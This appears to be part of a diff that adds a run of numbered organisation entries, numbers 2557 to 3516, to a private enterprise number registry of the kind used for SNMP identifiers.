+2557 Transcend Access Systems, Inc.
+2558 Outreach Communications Corp.
+2559 BocaTel
+2560 AT&T GNMC Amsterdam
+2561 Teamphone.com Ltd,
+2562 SBB Software Beratung GmbH
+2563 Comstat DataComm Corporation
+2564 The Network Technology Group
+2565 Avery Dennison
+2566 ROHDE & SCHWARZ GmbH & Co.KG
+2567 Datamedia SA
+2568 Integrix, Inc.
+2569 Telenor Novit AS
+2570 Prefered Communications
+2571 Mu'Tah University
+2572 Network TeleSystems, Inc.
+2573 Decision-Science Applications,Inc. Simeon Fitch
+2574 Concentricity, LLC
+2575 Artiza Networks Inc.
+2576 ComputerShare Systems Limited
+2577 EDR Technologies
+2578 AbirNet
+2579 Trikota, Inc.
+2580 Diebold Company of Canada Limited Rajan Raman
+2581 Precise Connectivity Solutions
+2582 ANS Communications
+2583 Hydro-Quebec TransEnergie
+2584 RadioLAN, Inc.
+2585 Youth Opportunities Upheld, Inc.
+2586 Teracom AB
+2587 Freemont Avenue Software, Inc.
+2588 Positron Fiber Systems
+2589 Chuo Electronics, Co., Ltd.
+2590 Minolta Co., Ltd.
+2591 Radyne Corporation
+2592 NSI Software
+2593 Exstream PC
+2594 Simulation Laboritories Inc.
+2595 WebTV Networks, Inc.
+2596 Credit Management Solutions, Inc.
+2597 Chisholm Technologies Inc.
+2598 WonderNet International Corp
+2599 Percpetics Corporation
+2600 Distributed Systems Logic, Inc.
+2601 US West !nterprise Networking Services
+2602 Intrasoft Corporation
+2603 Allot Communications
+2604 Sophos Plc
+2605 TaylorMade-Math
+2606 Rittal-Werk Rudolf Loh GmbH & Co.KG
+2607 LAN International, Inc.
+2608 Precise Software Solutions
+2609 New Prime Inc.
+2610 DataHaven Project, Inc.
+2611 Interspeed
+2612 MPI Tech a/s (formerly 'i-data international a-s')
+2613 Accelerated Networks, Inc.
+2614 Forschungszentrum Karlsruhe GmbH
+2615 ixMicro
+2616 CAO Diffusion
+2617 Computer Communications Consulting, Inc.
+2618 Tracewell Systems, Inc.
+2619 Advanced Internet Management, Inc.
+2620 Check Point Software Technologies Ltd
+2621 Martin Zwernemann
+2622 Amarex Technology, Inc.
+2623 ASUSTek Computer Inc.
+2624 Wave Wireless Networking
+2625 FCI Telecommunications Corporation
+2626 Entuity Limited (formerly 'Prosum Ltd')
+2627 TCAM Systems (UK) Ltd
+2628 Natural MicroSystems
+2629 City of Wauwatosa
+2630 The Esys Corporation
+2631 Altvater Airdata Systems GmbH Peter Haaf
+2632 PT Wiryamas Sinar Palapa
+2633 Compucentre
+2634 Western Telematic, Inc.
+2635 ADTX
+2636 Juniper Networks, Inc.
+2637 Aptis Communications, Inc.
+2638 Bstpromark
+2639 EdgePoint Networks, Inc.
+2640 AIMetrix Incorporated
+2641 Arctunn Consulting
+2642 Computel Electronica S.A.Jose
+2643 FlowWise Networks Inc.
+2644 Synaptyx Corporation
+2645 First Union National Bank
+2646 Kommunikator GmbH
+2647 C2S (Communication Systeme Service)
+2648 Siligom
+2649 Radcom Ltd.
+2650 Go Ahead Software, Inc.
+2651 Space Connection NV
+2652 Merck-Medco Managed Care LLC
+2653 City Com BV
+2654 R&S BICK Mobilfunk GmbH Andreas
+2655 Kepler Software, Ltd.
+2656 Banque Paribas
+2657 Zitech Net
+2658 Century Analysis Inc.
+2659 Talent Development GmbH Hans-Georg
+2660 CopperCom Inc.
+2661 Yutaka Electric Mfg. Co. Ltd.
+2662 SBF-Bourse De Paris
+2663 Economatica
+2664 GVN Technologies
+2665 Olsy UK
+2666 Room 42 Software, LLC
+2667 Cirilium
+2668 Tavve Software Co.
+2669 Solari di Udine
+2670 NetVenture, Inc.
+2671 Connected Systems Group
+2672 Corporate Software & Technologies, INT, Inc.
+2673 Fibex Systems
+2674 Claude Jardine Design
+2675 Net Marketing, Inc.
+2676 IBP, Inc.
+2677 RD6 Inc.
+2678 MassMedia Communications Inc.
+2679 Nexans Suisse SA.
+2680 Peak Audio, Inc.
+2681 Sia Yiu
+2682 DPS Inc.
+2683 Callisto Software
+2684 ViaVideo Communications, Inc.
+2685 Sequel Technology Corporation
+2686 Wi-LAN Inc.
+2687 Network System Technologies, Inc.
+2688 Center Technology
+2689 Coby Roberts
+2690 Netronix Inc.
+2691 Network Computer, Incorporated
+2692 WebWeaving
+2693 Institut Jozef Stefan
+2694 Eldat Communication Ltd.
+2695 MetaCommunications. Inc.
+2696 Digital Video Broadcasting (DVB)
+2697 Bayly Communications Inc.
+2698 Poznan Supercomputing and Networking Center - POZMAN
+2699 Printer Working Group
+2700 DIRECTV
+2701 Argon Networks Inc.
+2702 WACOS Inc.
+2703 Object Zone AB
+2704 Unassigned
+2705 SECUDE IT Security GmbH
+2706 Institute for Applied Information Processing and Communications,Graz University of Technology
+2707 International Network Services
+2708 JNR Systems
+2709 Congreve Computing Ltd.
+2710 Northrop Grumman - Surveillance and Battle Management Systems
+2711 Littlewoods Stores, Ltd.
+2712 ICE-TEL TLCA
+2713 Mauswerks, Inc.
+2714 Dep. of Signal Theory and Communications - UPC
+2715 Zapex Technologiesn Inc.
+2716 Glueck & Kanja Technology AG
+2717 Alcatel Telspace
+2718 Intercall
+2719 Townsend Analytics Ltd.
+2720 NorCom Informationstechnologie und Unternehmensberatung GmbH
+2721 News Internet Services
+2722 Georgia Tech Research Institute
+2723 Guerrilla Mail, Inc.
+2724 Atmosera, Inc.
+2725 Art Technology Group, Inc.
+2726 Capital One Financial Corp.
+2727 SFA, Inc.
+2728 Packard Bell NEC, Inc.
+2729 Empire Net
+2730 Ottosen
+2731 Dialogdesign
+2732 Innovative Data Technology
+2733 Group 2000 Nederland b.v.
+2734 Digital Lightwave, Inc.
+2735 MIBS-R-US
+2736 EtherWAN Systems, Inc.
+2737 Cordless Technology A/S
+2738 Punjab Communications Ltd.(PunCom)
+2739 Tanstaafl! Consulting
+2740 Artevea
+2741 Calirnet Systems, Inc.
+2742 Manage.com
+2743 RFL Electronics, Inc.
+2744 Sarnoff Real Time Corporation
+2745 LANCAST, Inc.
+2746 Martin Communications
+2747 Dirig Software, Inc.
+2748 ICL Retail Systems Europe
+2749 Aptia, Inc.
+2750 Vecima Networks Inc. (formerly 'WaveCom Electronics Inc.')
+2751 Globalcast Communications Inc.
+2752 McComm International bv
+2753 ARGO Data Resource Corporation Thomas
+2754 Excel Switching Corporation
+2755 Palomar Communications, Inc.
+2756 NetStart, Inc.
+2757 SmartCommerce Solutions
+2758 Universal Micro Applications, Inc.
+2759 SNS Consultants
+2760 Enhanced Messaging System, Inc.
+2761 Informatica S.p.A.
+2762 Netgame Ltd.
+2763 IntelliNet Technologies, Inc.
+2764 Acxiom Corporation
+2765 Dafur GmbH
+2766 Platform Computing Corporation
+2767 Automotive Products plc
+2768 RandD Computer Services Razvan
+2769 Knuerr AG
+2770 Eurotel Praha s.r.o.
+2771 Inlab Software GmbH
+2772 Intersolve Technologies
+2773 Redstone Communications, Inc.
+2774 Algorithmic Research Ltd.
+2775 AGT International, Inc.
+2776 Fourthtrack Systems
+2777 Flextel S.p.a.
+2778 WarpSpeed Computers
+2779 21C3
+2780 Neo Networks Inc.
+2781 Technical University of Madrid (UPM)
+2782 BOM Computer Services Ltd.
+2783 Control Systems International
+2784 bbcom Broadband Communications GmbH & Co. KG
+2785 Tecnopro SA
+2786 Politecnico di Torino
+2787 ING Group
+2788 Wytec Incorporated Dave
+2789 Mauro Enterprise
+2790 RoadRunner
+2791 Deterministic Networks, Inc.
+2792 Sprint PCS
+2793 Interactive Intelligence
+2794 JAYCOR
+2795 Edify Corporation
+2796 Fox IT Ltd
+2797 University of Pennsylvania
+2798 Metawave Communications Corp.
+2799 Enterprise Solutions Ltd
+2800 CBL GmbH
+2801 ADP Dealer Services
+2802 EFKON
+2803 SICAN GmbH
+2804 KeyTrend Inc.
+2805 ACC TelEnterprises
+2806 EBA
+2807 Teleware Co., Ltd.
+2808 eFusion, Inc.
+2809 Participants Trust Company
+2810 PeopleSoft, Inc.
+2811 Entrata Communication
+2812 Musics.com
+2813 First Telecom plc.
+2814 Telesnap GmbH
+2815 Newpoint Technologies, Inc.
+2816 T&E
+2817 Disney Regional Entertainment, Inc.
+2818 Ramp Networks, Inc.
+2819 Open Software Associates
+2820 Procom Technology
+2821 University of Notre Dame (Office of Information Technology)
+2822 Arquitectura Animada
+2823 Sumbha Holograms & Packaging Systems Ltd.
+2824 The A Consulting Team, Inc.
+2825 WorldGate Communications, Inc.
+2826 TOA Electronics Ltd.
+2827 Sytex Systems Corp.
+2828 Zell Distributors
+2829 YRless Internet Corporation
+2830 HALO Technologies
+2831 Beijing Univ. of Posts & Telecom., Training Center
+2832 Virtual Data Systems, Inc.
+2833 NetDox, Inc.
+2834 Expert Computer Service Jim Mac
+2835 Dictaphone
+2836 Unex Technology Corporation
+2837 Global Mobility Systems, Inc.
+2838 TFM Associates
+2839 Teleran Technologies, L.P. Carmen Randazzo
+2840 Digital Telecommunications, Inc.
+2841 KB Internet Ltd.
+2842 Agri Datalog
+2843 Braid Systems Limited
+2844 Newsnet ITN
+2845 JTCS
+2846 KEYCORP Pty. Ltd.
+2847 GTE Internetworking
+2848 Royalblue Technologies plc Trevor Goff
+2849 U&R Consultores Argentina
+2850 Tevycom Fapeco S.A.
+2851 Polaris Communications
+2852 Competitive Automation, Inc.
+2853 IDEXX Laboratories, Inc.
+2854 Network Computing Technologies, Inc.
+2855 Axxcelera Broadband Wireless
+2856 Cableware Electronics
+2857 Network Power and Light
+2858 Clarent Corporation
+2859 Kingston - SCL
+2860 netVest
+2861 VSN systemen BV
+2862 Northwest Consulting Services Randy
+2863 Thomson Inc.
+2864 Digitel S/A Industria Eletronica
+2865 Nortel Networks - Optical Metro
+2866 Technical Insights
+2867 NKF Electronics
+2868 Glasshouse Business Networks B.V.
+2869 VSI Enterprises
+2870 E-TECH, Inc.
+2871 UltraDNS
+2872 Unisource Business Networks Nederland bv
+2873 AGENTics
+2874 OTC Telecom Inc.
+2875 G.U.I.Dev. International Inc.
+2876 Cothern Computer Systems
+2877 Arbinet Communications Inc.
+2878 FaxForward Canada, Ltd.
+2879 Sonus Networks, Inc.
+2880 IPHighway Ltd.
+2881 Clarion
+2882 Pepperl+Fuchs Comtrol
+2883 Coherent Communications Systems Inc
+2884 ADS Networks
+2885 Chicago-Soft Ltd.
+2886 Netbalance
+2887 AS Proekspert
+2888 Adfm Multimedia Internet
+2889 Praxis International Inc.
+2890 Solectek Corporation
+2891 NanoSpace, Inc.
+2892 KAPS, Inc.
+2893 Computer Associates, Italy
+2894 Mainsail Networks, Inc.
+2895 EDS, SSMC-Tools Support and Development
+2896 Breece Hill Technologies Inc.
+2897 AT&T Capital Corp Ernest
+2898 HighGround Systems, Inc Thomas Bakerman
+2899 Omnia Communications, Inc.
+2900 Mer Telemanagement Solutions
+2901 Replicase, Inc.
+2902 Microlog Corporation
+2903 Smartways Technology Limited
+2904 Computer Services
+2905 Trumpet Software International Pty Ltd
+2906 Rsi Solutions Ltd.
+2907 C-Cor Electronics
+2908 Castle Networks, Inc.
+2909 Nexabit Networks, LLC
+2910 General Electric Company
+2911 Objective Software Services, Inc.
+2912 Ameristar Technologies Corp.
+2913 Hycor Biomedical, Inc.
+2914 Fellesdata AS
+2915 Network Engines, Inc.
+2916 Daimler-Benz AG
+2917 Data Interface Systems Corp
+2918 Symmetry Communications Systems, Inc.
+2919 Rambus Corp.
+2920 Will-Do Information Services
+2921 Swiss Pharma Contract Ltd.
+2922 I-O Corporation
+2923 Formula Consultants Inc.
+2924 Star TV (Satellite Television Asia Region Ltd)
+2925 Cyclades Corporation
+2926 Sonoma Systems, Inc.
+2927 Jacksonville Electric Authority
+2928 Net Insight AB
+2929 Quallaby
+2930 ValiCert, Inc.
+2931 GADC Networks
+2932 TERMA Elektronik AS
+2933 Floware System Solutions Ltd.
+2934 Citicorp
+2935 Quantum Corp. (formerly 'Pathlight Technology Inc.')
+2936 Prominence Dot Com, Inc.
+2937 Deutsche Telekom AG
+2938 Proginet Corporation
+2939 InfoExpress, Inc.
+2940 Argent Software
+2941 ReadyCom Inc.
+2942 COCOM A/S
+2943 ObjTech Software
+2944 Top Layer Networks, Inc.
+2945 TdSoft Communications Software Ltd.
+2946 SWITCH
+2947 Best Power - A Division of General Signal Power Systems
+2948 TeleSuite Corporation
+2949 Global Quest Consaltance
+2950 Ampersand, Inc.
+2951 Nentec
+2952 T&E Soft
+2953 Imedia
+2954 Universitaet Bielefeld, Technische Fakultaet
+2955 PSINet UK Ltd.
+2956 InfoLibria, Inc.
+2957 Ericsson Communications Ltd.
+2958 Secure Network Solutions Ltd.Brendan Simon
+2959 Workstation Solutions, Inc.
+2960 National Landscape Assn. Inc.
+2961 DIALOGS Software GmbH
+2962 Netwise AB
+2963 Security Dynamics Technology, Inc.
+2964 Zeta Communications Ltd.
+2965 Fujikura Solutions Ltd. (formerly 'Syscom Ltd.')
+2966 Digital ChoreoGraphics
+2967 CableData Inc.
+2968 Allen Telecom Systems
+2969 Charles Craft
+2970 Sunstone Enterprises
+2971 Corecess Inc.
+2972 Network Alchemy, Inc.
+2973 Integral Access, Inc.
+2974 IP Metrics Software, Inc.
+2975 Notarius T.S.I.N. Inc.
+2976 Sphairon Technologies GmbH (formerly 'Philips Multimedia Network Systems GmbH')
+2977 Teubner and Associates, Inc.
+2978 ImageCom Ltd.
+2979 Waverider Communications Inc.
+2980 ENT - Empresa Nacional de Telecomunicacoes, S.A.
+2981 Duke Energy
+2982 Deutsches Patentamt
+2983 SEMA Group GmbH, TS-V
+2984 Keycode Style Ltd.
+2985 Bay Systems Consulting, Inc.
+2986 Qiangjin Corp.Ltd.
+2987 IPivot
+2988 Consultronics Development Ltd.
+2989 University of North London
+2990 Illuminata, Inc.
+2991 Enterprise IT, Inc.
+2992 CyberTel, Inc.Jonathan Chu
+2993 ConvergeNet Technologies, Inc.
+2994 Teligent
+2995 AcuComm, Inc.
+2996 SpectraWorks Inc.
+2997 RedTitan
+2998 Anderson Consulting
+2999 American Family Insurance
+3000 IDB Systems, a Division of WorldCom Inc.
+3001 BAILO
+3002 ADAXIS Group
+3003 Packet Engines Inc.
+3004 Softwire Corporation
+3005 TDS (Telecoms Data Systems)
+3006 HCI Technologies
+3007 TOPCALL International
+3008 LogMatrix Inc (formerly 'Open Service')
+3009 SYNCLAYER Inc.
+3010 university of aizu
+3011 VideoServer, Inc.
+3012 Space & Telecommunications Systems Pte. Ltd.
+3013 Bicol Infonet System,Inc.
+3014 MediaSoft Telecom
+3015 Netpro Computing, Inc.
+3016 OzEmail Pty Ltd
+3017 Arcxel Technologies, Inc.
+3018 EnterNet Corporation
+3019 Jones Waldo Holbrook McDonough
+3020 University Access
+3021 Sendit AB
+3022 Telecom Sciences Corporation Limited
+3023 Quality Quorm, Inc.
+3024 Grapevine Systems Inc
+3025 The Panda Project, Inc.
+3026 Mission Control Development
+3027 IONA Technologies Ltd
+3028 Dialogic Corporation
+3029 Digital Data Security
+3030 ISCNI
+3031 dao Consulting, LLC
+3032 Beaufort Memorial Hospital
+3033 Informationstechnik Dr. Hansmeyer
+3034 URMET SUD s.p.a.
+3035 Avesta Technologies Inc
+3036 Hyundai Electronics America
+3037 DMV Ltd
+3038 Fax International, Inc.
+3039 MidAmerican Energy Company (MEC)
+3040 Bellsouth.net
+3041 Assured Access Technology, Inc.
+3042 Logicon - Eagle Technology
+3043 Frequentis GmbH
+3044 ISIS 2000
+3045 james e. gray, atty
+3046 Jamaica Cable T.V. & Internet Services
+3047 Information Technology Consultants Pty. Ltd.
+3048 LinickGrp.com
+3049 Yankee Know-How
+3050 SeAH group
+3051 Cinco Networks, Inc.
+3052 Asentria Corporation
+3053 Genie Telecommunication Inc.
+3054 Ixia Communications
+3055 Transmeta Corporation
+3056 Systemsoft Corp.
+3057 Jaspal Miracles Ltd.
+3058 T-Systems
+3059 Sisler Promotions, Inc.
+3060 ice-man refrigeration
+3061 Listing Service Solutions, Inc.
+3062 Jovian Networks
+3063 Elebra Com. Dados
+3064 Safetran Systems
+3065 Video Network Communications, Inc.
+3066 Phasecom Ltd.
+3067 Eurocontrol
+3068 SilverStream Software Inc.
+3069 Cownet
+3070 World Access, Inc.
+3071 Virtual Line L.L.P.
+3072 Integrated Concepts L.L.P.
+3073 Exabyte Corporation
+3074 Interactive Media Corporation
+3075 NetCore Systems, Inc.
+3076 Altiga Networks, Inc.
+3077 National Center for Supercomputing Applications
+3078 EMASS Inc.
+3079 PRIMA Telematic
+3080 BackWeb Technologies
+3081 NTP Software
+3082 PBS A/S
+3083 W.Quinn Associates, Inc.
+3084 QUZA (Racal-Integralis)
+3085 Cosine Communications
+3086 PipeLinks Inc.
+3087 WaiLAN Communications, Inc.
+3088 Axent Technologies
+3089 SPAWAR
+3090 Airsys ATM S.A.
+3091 Whiter Morn Software, Inc.
+3092 ENTV
+3093 CyberTAN Technology, Inc.
+3094 Frilot, Patridge, Kohnke & Clements, L.C.
+3095 FirstSense Software, Inc.
+3096 StarVox, Inc.
+3097 WatchGuard Technologies Inc.
+3098 MTI Technology Corporation
+3099 Lumbrera
+3100 CELOGIC
+3101 Experian Information Solutions Inc.
+3102 Kansai Electric Co., Ltd.
+3103 Innet
+3104 Thales Deutschland GmbH
+3105 Vodafone Sweden
+3106 LCI International, Inc.
+3107 City of Los Angeles
+3108 G2 Networks
+3109 TradeWeb LLC.
+3110 Rafael
+3111 Crystal Group Inc.
+3112 C-bridge Internet Solutions
+3113 Phase Forward
+3114 WONOA
+3115 Dialog
+3116 NICE CTI Systems UK Ltd.
+3117 E*TRADE Group Inc.
+3118 Juno Online Services, Inc.
+3119 DnB ASA
+3120 Cintel Technologies, Inc.
+3121 Tele1024 Denmark
+3122 Interlink Network Group, Inc.
+3123 L. Richards' Enterprises, Inc.
+3124 Media Communications Eur AB
+3125 Rocx Software Corp.
+3126 Ardax Systems, Inc.
+3127 Pluris, Inc.
+3128 OAZ Communications
+3129 Advanced Switching Communications, Inc.
+3130 GreatLink Networks, Inc.
+3131 Aydin Telecom
+3132 NetKit Inc.
+3133 IDP
+3134 TTM Nederland
+3135 Labouchere
+3136 Comtrend Corporation
+3137 Berbee Information Networks Corp.
+3138 Wireless Online, Inc.
+3139 LIFFE
+3140 Celo Communications AB
+3141 Mark IV Industries Ltd.(F-P Electronics Division)
+3142 Leitch Technology International Incorporated
+3143 Chalcroft International
+3144 Clarity Wireless Inc.
+3145 C-C-C Technology Ltd
+3146 FREQUENTIS Network Systems GmbH
+3147 Daewoo Electronics
+3148 France Caraibe Mobiles
+3149 Winchester Systems Inc.
+3150 SWD
+3151 Automotive Industry Action Group (AIAG)
+3152 Orion Technologies Inc.
+3153 DirectoryNET, Inc.
+3154 Kisan Telecom Co., LTD
+3155 Concord-Eracom
+3156 Secant
+3157 NetraCorp, LLC
+3158 MASPRO DENKOH Corp.
+3159 Utimaco GmbH
+3160 Financial Information System Center (FISC)
+3161 Xybx Inc.
+3162 Relational Data Systems
+3163 M&T Clear Solutions Inc.
+3164 ARBED S.A.
+3165 Cap Gemini Telecom
+3166 Westek Technology Ltd John Tucker
+3167 NICE Systems Ltd.
+3168 INC S.A.
+3169 Silis Sarl
+3170 InterWorking Labs, Inc.
+3171 Ikon Systems, Inc.
+3172 GTE Intelligent Network Services
+3173 Turnstone Systems, Inc.
+3174 Tasman Networks, Inc.
+3175 WebTrends Corporation
+3176 Werner Training and Consulting, Inc.
+3177 IVC, Inc.
+3178 Blue Cross and Blue Shield of Florida
+3179 Level8 Systems
+3180 RESCOM A/S
+3181 MICROSENS GmbH & Co. KG
+3182 Unihold Technologies
+3183 Wired for Management
+3184 Raymond and Lae Engineering, Inc.
+3185 Parapsco Designs Ltd.
+3186 TouchNet Information Systems, Inc.
+3187 FUZZY! Informatik GmbH
+3188 Sunny Comm. Inc.
+3189 DSD Computing
+3190 Caja de Ahorros del Mediterraneo
+3191 Dynetcom Guernsey Ltd.
+3192 Tachyon, Inc.
+3193 Silent Communications
+3194 EFFNET AB
+3195 AUDI AG
+3196 Side by Side GmbH
+3197 Vodacom South Africa
+3198 Volamp LtdW.G. Saich+44(0) 1252 724055
+3199 Shasta Networks
+3200 Applied Resources, Inc.
+3201 LANCOME
+3202 Spar Aerospace Limited
+3203 GlaxoWellcome Inc.
+3204 A.T.I. System Co., Ltd.
+3205 EXODUS Communications Inc.
+3206 Assured Digital, Inc.
+3207 Web@venture
+3208 Athens University of Economics and Business
+3209 Dynarc AB
+3210 VOLKSWAGEN AG
+3211 Allgon AB
+3212 Crestron Electronics, Inc.
+3213 TRANSICIEL
+3214 SAN People (Pty) Ltd.
+3215 Network Instruments, LLC
+3216 Texas Networking, Inc.
+3217 Pini Computer Trading
+3218 XLN-t
+3219 Silicomp
+3220 Signet Systems Pty Ltd
+3221 Ohkura Electric Co., Ltd.
+3222 New Elite Technologies, Inc.
+3223 TXCOM
+3224 NetScreen Technologies, Inc.
+3225 Sycamore Networks
+3226 France Connexion Ingenierie
+3227 NetLeader, Inc.
+3228 Tekmar Sistemi s.r.l.
+3229 QUT - DSTC
+3230 Runtop Inc.
+3231 L-3 Communications
+3232 Eumetsat
+3233 TongGong High New Technology Development Company
+3234 Trifolium, Inc.
+3235 Zenon N.S.P.
+3236 ERCOM
+3237 SDC
+3238 Los Angeles Web
+3239 Florence on Line s.r.l.
+3240 Escalate Networks
+3241 TranNexus
+3242 Brigham Young University
+3243 ConNova Systems AB
+3244 Voxtron Flanders NV
+3245 Yomi Software Ltd.
+3246 Mirapoint, Inc.
+3247 Colorbus
+3248 DPB S.A.
+3249 StarGuide Digital Networks, Inc.
+3250 Telinet Technologies, LLC. Donald
+3251 Authentica Security Technologies, Inc.
+3252 Hologram Systems Ltd.
+3253 TranSystem, Inc.
+3254 R.R.C. Exports
+3255 Lakeside Software, Inc.
+3256 Channel 100
+3257 MAGMA, Inc.
+3258 LANSource Technologies Inc.
+3259 INCAA Datacom BV
+3260 GlobeSet, Inc.
+3261 Martin Pestana
+3262 Acuson Corporation
+3263 Drake Automation Limited
+3264 Kerr Vayne Systems Ltd.
+3265 KSquared Consulting
+3266 HSBC Group
+3267 IronBridge Networks, Inc.
+3268 Real Time Logic Inc.
+3269 TelServe
+3270 UNIQUEST-Korea
+3271 StockPower, Inc.
+3272 Yontem Computer & Electronics
+3273 nwe GmbH
+3274 The Information Systems Manager Inc.
+3275 Kosmos Image S.r.l.
+3276 Taihan Electric Wire Co., Ltd.
+3277 Telspec
+3278 C-COM Corporation
+3279 Adlex Corp.
+3280 CCI Europe
+3281 SMS Enterprises
+3282 Vicom Systems, Inc.
+3283 International Software Solutions
+3284 OASIS Consortium
+3285 NOVA Telecommunications, Inc.
+3286 Nera Satcom AS
+3287 Proactive Networks, Inc.
+3288 Jacobs Rimell Limited
+3289 Cryptomathic A/S
+3290 AppliScope
+3291 Simac Techniek NV
+3292 Earthmen Technology
+3293 Biffsters International
+3294 Digitronic
+3295 Internet Multifeed Co.
+3296 Argosy Research Inc.
+3297 NxNetworks
+3298 MQSoftware, Inc.
+3299 Altair Data System
+3300 Telsis Limited
+3301 IMPACT
+3302 SMI Computersysteme GmbH Nicole
+3303 IDM, Ltd.
+3304 WinVista Corp.
+3305 Splitrock Services, Inc.
+3306 Vail Systems Incorporated
+3307 zed5
+3308 Ensemble Solutions, Inc.
+3309 Nomadix
+3310 Jett International Inc.
+3311 Crocodial Communications Entwicklungsgesellschaft mbH
+3312 Consulting Informatico de Cantabria S.L.
+3313 Broadcast Services
+3314 Bergstresser Associates
+3315 KingStar Computer Ltd.
+3316 Micro Logic Systems
+3317 Port Community Rotterdam
+3318 Computer & Competence GmbH
+3319 GNOME project
+3320 Shanghai Baud Data Communication Development Corp.
+3321 Teledata Communication Ltd.
+3322 Ipswitch, Inc.
+3323 Tadiran Microwave Networks
+3324 Call Technologies, Inc.
+3325 Vocalis Ltd.
+3326 Bergen Data Consulting
+3327 CA Technologies, Inc.
+3328 Indus River Networks, Inc.
+3329 NewCom Technologies, Inc.
+3330 PartnerGroup
+3331 DeTeWe - Deutsche Telephonwerke Aktiengesellschaft & Co.
+3332 RCX System
+3333 Auburn University
+3334 Cap'Mediatel
+3335 HAHT Software
+3336 UTBF
+3337 Chicago Police Department - Data Systems Division
+3338 MORA Technological Services
+3339 JHC
+3340 OpenTV Inc.
+3341 SwitchSoft Systems, Inc.
+3342 MachOne Communications Inc.
+3343 Philips Digital Video Systems Harry
+3344 Helsinki Televisio Oy
+3345 Nemetschek AG
+3346 Vocom
+3347 Hitachi Kokusai Electric Inc.
+3348 Reliable Network Solutions
+3349 Vogo Networks
+3350 beusen
+3351 Overland Data, Inc.
+3352 Go2 Technologies, Inc.
+3353 TransMedia Communications, Inc.
+3354 InnoMedia, Inc.
+3355 Orkit FI
+3356 WebMaster, Incorporated
+3357 Software & Management Associates, Inc.
+3358 Researcher
+3359 Cygnus Global Consulting
+3360 Columbine JDS Systems Inc.
+3361 Intraplex
+3362 Selta S.p.A.
+3363 Southern New England Telecommunications
+3364 Baltic Oil Ltd.
+3365 MailWizard Incorporated
+3366 Da Vinci Systems cc
+3367 NMS Research
+3368 KimSungEun Co., Ltd.
+3369 Genicom Corporation
+3370 Trango Software Corporation
+3371 SungEun Systems
+3372 COVE Sistemas, S.L.
+3373 SIAE Microelettronica S.p.A.
+3374 Cybertek Corp.
+3375 F5 Labs, Inc.
+3376 Valencia Systems
+3377 HKC Communications, Inc.
+3378 Plant Equipment Inc.
+3379 HT Industrial Co.
+3380 Fuelling & Partner
+3381 Atreve Software, Inc.
+3382 Venturi Wireless
+3383 South East Water Limited
+3384 WAM!NET
+3385 University of Leicester
+3386 21st Century Net
+3387 Intellivoice, Inc
+3388 Integral Partners
+3389 Novotec Computers GmbH
+3390 Marathon Technologies Corporation
+3391 Software Technologies Group, Inc.
+3392 Quvintheumn Foundation
+3393 SandS International
+3394 NeTrue Communications
+3395 Certicom Corp.
+3396 DICOS GmbH Kommunikationssysteme Stephan
+3397 Border Blues Productions
+3398 Fieldbus Foundation
+3399 Olencom Electronics Ltd.
+3400 Alacrity Communications Inc.
+3401 McAfee Inc. (formerly 'Network Associates, Inc.')
+3402 Magicom Integrated Solutions
+3403 Marimba, Inc.
+3404 Adicom
+3405 Expand Networks Inc.
+3406 EIS Corporation
+3407 compu-DAWN, Inc.
+3408 Nylcare Health Plans
+3409 Z-Tel Communications, Inc.
+3410 Land-5 Corporation
+3411 J. Slivko's Web Design Consulting
+3412 SanCastle Technologies Inc.
+3413 Radiotel
+3414 VoiceStream Wireless, Inc.
+3415 Mobile Telephone Networks
+3416 Neto Corporation
+3417 CacheFlow Inc.
+3418 Interactive Channel Technologies, Inc.
+3419 DERA
+3420 Rossiyskiy Kredit Bank
+3421 Performance Reporting Services Ltd
+3422 Network Aware, Inc.
+3423 Project 25
+3424 Evident Software, Inc. (formerly 'Apogee Networks, Inc.')
+3425 Amsdell Inc.
+3426 Tokyo Denshi Sekei K.K.
+3427 MicroJuris, Inc.
+3428 Computer Associates TCG Software
+3429 GenNet Technology Co., Ltd.
+3430 Microtronix Datacom Ltd.
+3431 Western DataCom Co., Inc.
+3432 Tellium, Inc.
+3433 Goldencom Technologies, Inc.
+3434 Leightronix, Inc.
+3435 Porta Systems Ltd
+3436 Brivida, Inc.
+3437 PitchonPe
+3438 Missouri FreeNet
+3439 Braintree Communications Pty Ltd
+3440 Borealis Technology
+3441 South Carolina State Ports Authority (SCSPA)
+3442 Advantech Inc.
+3443 United Healthcare
+3444 egnite GmbH
+3445 Radiant communications Corp.
+3446 Ridge Technologies Dave
+3447 JGI, Inc.
+3448 Rivkin Science & Technology, Inc.
+3449 Fisher Berkeley Corp.
+3450 Ardence, Inc.
+3451 Vita Nuova Limited
+3452 MDSI Mobile Data Solutions Inc.
+3453 AAE Systems, Inc.
+3454 ELVIS-PLUS
+3455 Internet Freaks Luxembourg a.s.b.l.Department Technique
+3456 Adtech, Inc.
+3457 Advanced Intelligent Networks Corp.
+3458 Transaction Network Services, Inc.
+3459 COM:ON Communication Systems GmbH
+3460 Telecommunications Specialists Pte Ltd
+3461 Inferentia SPA
+3462 Makonin Consulting Corp.
+3463 Toucan Technology Ltd.
+3464 Gimlet Management Consultants Ltd
+3465 Sanyo Denki Co., Ltd.
+3466 Optical Networks, Inc.
+3467 NORCOM Networks Corporation
+3468 GTE Interactive
+3469 Schumann Unternehmensberatung AG
+3470 ATM R&D Center of BUPT
+3471 Bear Stearns & Company, Inc.
+3472 Telamon, Inc.
+3473 Microgate Corporation
+3474 Fujitu ICL Espana S.A.
+3475 Network Concepts
+3476 Arepa Inc.
+3477 Dorado Software
+3478 Spectra Logic
+3479 ViewTouch, Inc.
+3480 VIEWS Net, Inc.
+3481 Himel Technology
+3482 Ton & Lichttechnik
+3483 Mariner Networks
+3484 Alaska Textiles, Inc.
+3485 Alaska Cleaners, Inc.
+3486 Wellsprings Holdings, LLC
+3487 Allure of Alaska
+3488 SevenX
+3489 Denali Sites, Inc.
+3490 United Systems Base
+3491 CDConsultants Inc.
+3492 Comdisco, Inc.
+3493 Broadband Access Systems, Inc.
+3494 Convergent Networks, Inc.
+3495 National Laboratory for Applied Network Research
+3496 Web-Resumes
+3497 Virtual Vendor Inc.
+3498 BusinessBuilder Technologies Inc.
+3499 Cyber Server Park Inc.
+3500 COMSAT Laboratories
+3501 Vodafone Value Added Services Ltd
+3502 J & A Services
+3503 Blue Lance, Inc.
+3504 Sandvik Coromant
+3505 Virtual Virgin Islands, Inc.
+3506 PageTek
+3507 e-Net, Inc.
+3508 NEST
+3509 Capital Holdings Ltd
+3510 TWO-WAY LAUNDRY
+3511 SkyStream, Inc.
+3512 Portal Software, Inc.
+3514 VStream Incorporated
+3515 Joanneum Research GesmbH
+3516 Cybernetica
